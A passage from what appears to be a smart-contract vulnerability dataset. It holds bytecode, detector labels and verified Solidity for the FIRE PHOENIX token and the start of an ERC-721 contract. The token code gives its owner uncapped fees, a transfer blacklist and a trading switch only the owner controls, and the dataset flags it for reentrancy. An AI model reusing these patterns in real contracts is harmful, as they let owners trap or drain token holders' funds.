600202816002028360005260206000209182019101612717919061271d565b5b505050565b61275591905b80821115612751576000808201600090556001820160006101000a81549060ff021916905550600201612723565b5090565b905600a165627a7a72305820ea1833bacc75dbcee1b898383407acdf435256bb78d35c7b8c938551c153c9d00029
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
519
0x5c674209cda2167c7a356a0ae6c0d121919da275
/** *Submitted for verification at Etherscan.io on 2022-04-21 */ /** FIRE PHOENIX - $FPHOENIX Will be reborn from the ashes, never die! Legend has it that this beautiful and lonely bird growing in the Arabian desert burns itself to ashes every 500 years, and then regenerates from the ashes. When the phoenix is baptized by the flames, once the rebirth fails, it will disappear forever. Twitter 🐦 - https://twitter.com/FPhoenixToken Telegram 📬 - https://t.me/FirePhoenixToken Website 🖥 - https://firephoenixinu.com/ */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FIREPHOENIX is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FIRE PHOENIX"; string private constant _symbol = "$FPHOENIX"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 8; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 8; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0xb6e0B354D6Ba1561e1C5d8d718eA38d6EDD7fF24); address payable private _marketingAddress = payable(0xb6e0B354D6Ba1561e1C5d8d718eA38d6EDD7fF24); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 5000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 1000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f0461461055c578063dd62ed3e1461057c578063ea1644d5146105c2578063f2fde38b146105e257600080fd5b8063a2a957bb146104d7578063a9059cbb146104f7578063bfd7928414610517578063c3c8cd801461054757600080fd5b80638f70ccf7116100d15780638f70ccf71461044f5780638f9a55c01461046f57806395d89b411461048557806398a5c315146104b757600080fd5b80637d1db4a5146103ee5780637f2feddc146104045780638da5cb5b1461043157600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038457806370a0823114610399578063715018a6146103b957806374010ece146103ce57600080fd5b8063313ce5671461030857806349bd5a5e146103245780636b999053146103445780636d8aa8f81461036457600080fd5b80631694505e116101ab5780631694505e1461027557806318160ddd146102ad57806323b872dd146102d25780632fd689e3146102f257600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024557600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195a565b610602565b005b34801561020a57600080fd5b5060408051808201909152600c81526b08c92a48a40a0909e8a9c92b60a31b60208201525b60405161023c9190611a1f565b60405180910390f35b34801561025157600080fd5b50610265610260366004611a74565b6106a1565b604051901515815260200161023c565b34801561028157600080fd5b50601454610295906001600160a01b031681565b6040516001600160a01b03909116815260200161023c565b3480156102b957600080fd5b50670de0b6b3a76400005b60405190815260200161023c565b3480156102de57600080fd5b506102656102ed366004611aa0565b6106b8565b3480156102fe57600080fd5b506102c460185481565b34801561031457600080fd5b506040516009815260200161023c565b34801561033057600080fd5b50601554610295906001600160a01b031681565b34801561035057600080fd5b506101fc61035f366004611ae1565b610721565b34801561037057600080fd5b506101fc61037f366004611b0e565b61076c565b34801561039057600080fd5b506101fc6107b4565b3480156103a557600080fd5b506102c46103b4366004611ae1565b6107ff565b3480156103c557600080fd5b506101fc610821565b3480156103da57600080fd5b506101fc6103e9366004611b29565b610895565b3480156103fa57600080fd5b506102c460165481565b34801561041057600080fd5b506102c461041f366004611ae1565b60116020526000908152604090205481565b34801561043d57600080fd5b506000546001600160a01b0316610295565b34801561045b57600080fd5b506101fc61046a366004611b0e565b6108c4565b34801561047b57600080fd5b506102c460175481565b34801561049157600080fd5b506040805180820190915260098152680488ca0909e8a9c92b60bb1b602082015261022f565b3480156104c357600080fd5b506101fc6104d2366004611b29565b61090c565b3480156104e357600080fd5b506101fc6104f2366004611b42565b61093b565b34801561050357600080fd5b50610265610512366004611a74565b610979565b34801561052357600080fd5b50610265610532366004611ae1565b60106020526000908152604090205460ff1681565b34801561055357600080fd5b506101fc610986565b34801561056857600080fd5b506101fc610577366004611b74565b6109da565b34801561058857600080fd5b506102c4610597366004611bf8565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105ce57600080fd5b506101fc6105dd366004611b29565b610a7b565b3480156105ee57600080fd5b506101fc6105fd366004611ae1565b610aaa565b6000546001600160a01b031633146106355760405162461bcd60e51b815260040161062c90611c31565b60405180910390fd5b60005b815181101561069d5760016010600084848151811061065957610659611c66565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069581611c92565b915050610638565b5050565b60006106ae338484610b94565b5060015b92915050565b60006106c5848484610cb8565b610717843361071285604051806060016040528060288152602001611daa602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111f4565b610b94565b5060019392505050565b6000546001600160a01b0316331461074b5760405162461bcd60e51b815260040161062c90611c31565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107965760405162461bcd60e51b815260040161062c90611c31565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e957506013546001600160a01b0316336001600160a01b0316145b6107f257600080fd5b476107fc8161122e565b50565b6001600160a01b0381166000908152600260205260408120546106b290611268565b6000546001600160a01b0316331461084b5760405162461bcd60e51b815260040161062c90611c31565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bf5760405162461bcd60e51b815260040161062c90611c31565b601655565b6000546001600160a01b031633146108ee5760405162461bcd60e51b815260040161062c90611c31565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109365760405162461bcd60e51b815260040161062c90611c31565b601855565b6000546001600160a01b031633146109655760405162461bcd60e51b815260040161062c90611c31565b600893909355600a91909155600955600b55565b60006106ae338484610cb8565b6012546001600160a01b0316336001600160a01b031614806109bb57506013546001600160a01b0316336001600160a01b0316145b6109c457600080fd5b60006109cf306107ff565b90506107fc816112ec565b6000546001600160a01b03163314610a045760405162461bcd60e51b815260040161062c90611c31565b60005b82811015610a75578160056000868685818110610a2657610a26611c66565b9050602002016020810190610a3b9190611ae1565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6d81611c92565b915050610a07565b50505050565b6000546001600160a01b03163314610aa55760405162461bcd60e51b815260040161062c90611c31565b601755565b6000546001600160a01b03163314610ad45760405162461bcd60e51b815260040161062c90611c31565b6001600160a01b038116610b395760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b606482015260840161062c565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bf65760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161062c565b6001600160a01b038216610c575760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161062c565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d1c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161062c565b6001600160a01b038216610d7e5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161062c565b60008111610de05760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161062c565b6000546001600160a01b03848116911614801590610e0c57506000546001600160a01b03838116911614155b156110ed57601554600160a01b900460ff16610ea5576000546001600160a01b03848116911614610ea55760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400606482015260840161062c565b601654811115610ef75760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000604482015260640161062c565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3957506001600160a01b03821660009081526010602052604090205460ff16155b610f915760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b606482015260840161062c565b6015546001600160a01b038381169116146110165760175481610fb3846107ff565b610fbd9190611cab565b106110165760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b606482015260840161062c565b6000611021306107ff565b60185460165491925082101590821061103a5760165491505b8080156110515750601554600160a81b900460ff16155b801561106b57506015546001600160a01b03868116911614155b80156110805750601554600160b01b900460ff165b80156110a557506001600160a01b03851660009081526005602052604090205460ff16155b80156110ca57506001600160a01b03841660009081526005602052604090205460ff16155b156110ea576110d8826112ec565b4780156110e8576110e84761122e565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112f57506001600160a01b03831660009081526005602052604090205460ff165b8061116157506015546001600160a01b0385811691161480159061116157506015546001600160a01b03848116911614155b1561116e575060006111e8565b6015546001600160a01b03858116911614801561119957506014546001600160a01b03848116911614155b156111ab57600854600c55600954600d555b6015546001600160a01b0384811691161480156111d657506014546001600160a01b03858116911614155b156111e857600a54600c55600b54600d555b610a7584848484611466565b600081848411156112185760405162461bcd60e51b815260040161062c9190611a1f565b5060006112258486611cc3565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561069d573d6000803e3d6000fd5b60006006548211156112cf5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161062c565b60006112d9611494565b90506112e583826114b7565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133457611334611c66565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561138d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b19190611cda565b816001815181106113c4576113c4611c66565b6001600160a01b0392831660209182029290920101526014546113ea9130911684610b94565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac94790611423908590600090869030904290600401611cf7565b600060405180830381600087803b15801561143d57600080fd5b505af1158015611451573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b80611473576114736114f9565b61147e848484611527565b80610a7557610a75600e54600c55600f54600d55565b60008060006114a161161e565b90925090506114b082826114b7565b9250505090565b60006112e583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061165e565b600c541580156115095750600d54155b1561151057565b600c8054600e55600d8054600f5560009182905555565b6000806000806000806115398761168c565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156b90876116e9565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461159a908661172b565b6001600160a01b0389166000908152600260205260409020556115bc8161178a565b6115c684836117d4565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160b91815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061163982826114b7565b82101561165557505060065492670de0b6b3a764000092509050565b90939092509050565b6000818361167f5760405162461bcd60e51b815260040161062c9190611a1f565b5060006112258486611d68565b60008060008060008060008060006116a98a600c54600d546117f8565b92509250925060006116b9611494565b905060008060006116cc8e87878761184d565b919e509c509a509598509396509194505050505091939550919395565b60006112e583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111f4565b6000806117388385611cab565b9050838110156112e55760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161062c565b6000611794611494565b905060006117a2838361189d565b306000908152600260205260409020549091506117bf908261172b565b30600090815260026020526040902055505050565b6006546117e190836116e9565b6006556007546117f1908261172b565b6007555050565b6000808080611812606461180c898961189d565b906114b7565b90506000611825606461180c8a8961189d565b9050600061183d826118378b866116e9565b906116e9565b9992985090965090945050505050565b600080808061185c888661189d565b9050600061186a888761189d565b90506000611878888861189d565b9050600061188a8261183786866116e9565b939b939a50919850919650505050505050565b6000826000036118af575060006106b2565b60006118bb8385611d8a565b9050826118c88583611d68565b146112e55760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161062c565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107fc57600080fd5b803561195581611935565b919050565b6000602080838503121561196d57600080fd5b823567ffffffffffffffff8082111561198557600080fd5b818501915085601f83011261199957600080fd5b8135818111156119ab576119ab61191f565b8060051b604051601f19603f830116810181811085821117156119d0576119d061191f565b6040529182528482019250838101850191888311156119ee57600080fd5b938501935b82851015611a1357611a048561194a565b845293850193928501926119f3565b98975050505050505050565b600060208083528351808285015260005b81811015611a4c57858101830151858201604001528201611a30565b81811115611a5e576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8757600080fd5b8235611a9281611935565b946020939093013593505050565b600080600060608486031215611ab557600080fd5b8335611ac081611935565b92506020840135611ad081611935565b929592945050506040919091013590565b600060208284031215611af357600080fd5b81356112e581611935565b8035801515811461195557600080fd5b600060208284031215611b2057600080fd5b6112e582611afe565b600060208284031215611b3b57600080fd5b5035919050565b60008060008060808587031215611b5857600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8957600080fd5b833567ffffffffffffffff80821115611ba157600080fd5b818601915086601f830112611bb557600080fd5b813581811115611bc457600080fd5b8760208260051b8501011115611bd957600080fd5b602092830195509350611bef9186019050611afe565b90509250925092565b60008060408385031215611c0b57600080fd5b8235611c1681611935565b91506020830135611c2681611935565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b600060018201611ca457611ca4611c7c565b5060010190565b60008219821115611cbe57611cbe611c7c565b500190565b600082821015611cd557611cd5611c7c565b500390565b600060208284031215611cec57600080fd5b81516112e581611935565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d475784516001600160a01b031683529383019391830191600101611d22565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8557634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da457611da4611c7c565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f801e41c5a63ce91a8365ddfaaf1b5992c32da3a74add5d31eccd7f202c2bc6364736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
520
0x4A5f82DB4a5Bb66550d0D646C31Bd24ab7dc8AE9
/** *Submitted for verification at Etherscan.io on 2021-10-26 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. 